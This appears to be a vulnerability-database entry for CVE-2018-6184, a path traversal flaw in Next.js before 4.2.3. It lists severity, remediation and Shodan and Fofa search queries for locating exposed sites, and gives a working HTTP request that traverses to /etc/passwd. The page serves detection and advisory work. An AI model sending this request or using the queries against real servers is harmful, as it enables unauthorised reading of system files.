🔙 목록으로 돌아가기

CVE-2018-6184: Zeit Next.js < 4.2.3 - Local File Inclusion

TitleZeit Next.js < 4.2.3 - Local File Inclusion
AuthorDhiyaneshDK
SeverityHigh
ImpactAn attacker can exploit this vulnerability to read sensitive files, execute arbitrary code, or launch further attacks.
RemediationUpgrade to the latest version of Zeit Next.js (>=4.2.3) to mitigate this vulnerability.
CVSS Score7.5
EPSS Score0.49051
CVE IDCVE-2018-6184
CWE IDCWE-22
Shodan Queryhtml:"/_next/static"http.html:"/_next/static"cpe:"cpe:2.3:a:zeit:next.js"
Fofa Querybody="/_next/static"
Tags cve2018 cve nextjs lfi traversal zeit vuln

🔍 Vulnerability Description

Zeit Next.js before 4.2.3 is susceptible to local file inclusion under the /_next request namespace. An attacker can obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.

🌐 HTTP Request

GET /_next/../../../../../../../../../etc/passwd HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.3 Safari/605.1.15
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2018/CVE-2018-6184.yaml

🦈 Packet Capture: ⬇️ Download cve-2018-6184.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A